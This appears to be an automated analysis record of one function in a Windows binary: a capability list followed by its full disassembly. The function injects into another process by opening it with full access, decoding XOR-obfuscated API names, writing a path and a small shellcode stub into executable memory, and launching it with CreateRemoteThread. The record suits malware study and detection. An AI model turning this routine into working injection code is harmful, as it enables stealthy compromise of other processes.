Function at 0x402080
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute command
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41f877
mov eax, dword fs:[0]
push eax
sub esp, 0x14c
mov eax, dword [0x42c008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
push 0x104
lea eax, [ebp - 0x130]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x130]
push 0
push eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test edi, edi
je 0x402140
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x40215e
mov dword [ebp - 0x13c], 0x636f7250
mov dword [ebp - 0x138], 0x6f724520
mov word [ebp - 0x134], 0x72
mov dword [ebp - 4], eax
mov edx, 0x424544
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0040d290
lea edx, [ebp - 0x13c]
mov ecx, eax
call fcn.0040d290
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e5ae
mov esp, ebp
pop ebp
ret
mov ecx, 7
xor edx, edx
mov al, byte [edx + str.KghnGeonbhWkU]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x154], al
and ecx, 0x800000ff
jns 0x402185
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xe
jl 0x402165
mov byte [ebp - 0x146], 0
mov ecx, 0x25
xor edx, edx
nop dword [eax]
mov al, byte [edx + str.NCUFLF]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x140], al
and ecx, 0x800000ff
jns 0x4021c0
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xc
jl 0x4021a0
lea eax, [ebp - 0x154]
mov byte [ebp - 0x134], 0
push eax
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x24], 0x6a006a
mov byte [ebp - 0x20], 0x68
lea edx, [ecx + 1]
mov byte [ebp - 0x1b], 0xb8
mov word [ebp - 0x16], 0xd0ff
mov byte [ebp - 0x14], 0xc3
mov dword [ebp - 0x1a], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402210
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub ecx, edx
push 4
push 0x3000
lea eax, [ecx + 1]
push eax
push 0
push edi
call ebx
mov esi, eax
test esi, esi
jne 0x40228f
mov ecx, 0xf2
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x424588]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x154], al
and ecx, 0x800000ff
jns 0x402260
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x10
jl 0x402240
mov byte [ebp - 0x144], 0
mov dword [ebp - 4], 1
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x424544
call fcn.0040d290
lea edx, [ebp - 0x154]
jmp 0x40212b
lea ecx, [ebp - 0x130]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402298
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x130]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
setne cl
test eax, eax
jne 0x402315
mov ecx, 0xc
xor edx, edx
mov al, byte [edx + 0x42459c]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x140], al
and ecx, 0x800000ff
jns 0x4022e6
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xd
jl 0x4022c6
mov byte [ebp - 0x133], 0
mov dword [ebp - 4], 2
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x424544
call fcn.0040d290
lea edx, [ebp - 0x140]
jmp 0x40212b
mov dword [ebp - 0x1f], esi
test cl, cl
je 0x402140
push 0x40
push 0x3000
push 0x11
push 0
push edi
call ebx
mov ebx, eax
test ebx, ebx
jne 0x402379
mov ecx, 0x47
xor edx, edx
nop dword [eax + eax]
mov al, byte [edx + 0x4245ac]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x154], al
and ecx, 0x800000ff
jns 0x402360
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x10
jl 0x402340
mov byte [ebp - 0x144], 0
mov dword [ebp - 4], 3
jmp 0x402274
push 0
push 0x11
lea eax, [ebp - 0x24]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
setne cl
test eax, eax
jne 0x4023d9
mov ecx, 0xff
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x4245c0]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x140], al
and ecx, 0x800000ff
jns 0x4023c0
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xd
jl 0x4023a0
mov byte [ebp - 0x133], 0
mov dword [ebp - 4], 4
jmp 0x4022fa
test cl, cl
je 0x402140
push 0
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x158], eax
test eax, eax
jne 0x402452
mov ecx, 0x13
xor edx, edx
mov al, byte [edx + str._dry:nrl_]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x154], al
and ecx, 0x800000ff
jns 0x402423
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xe
jl 0x402403
mov byte [ebp - 0x146], 0
mov dword [ebp - 4], 5
mov edx, 0x424544
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0040d290
lea edx, [ebp - 0x154]
jmp 0x40212b
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
push 0x8000
push 0
push ebx
push edi
call esi
push dword [ebp - 0x158]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x402142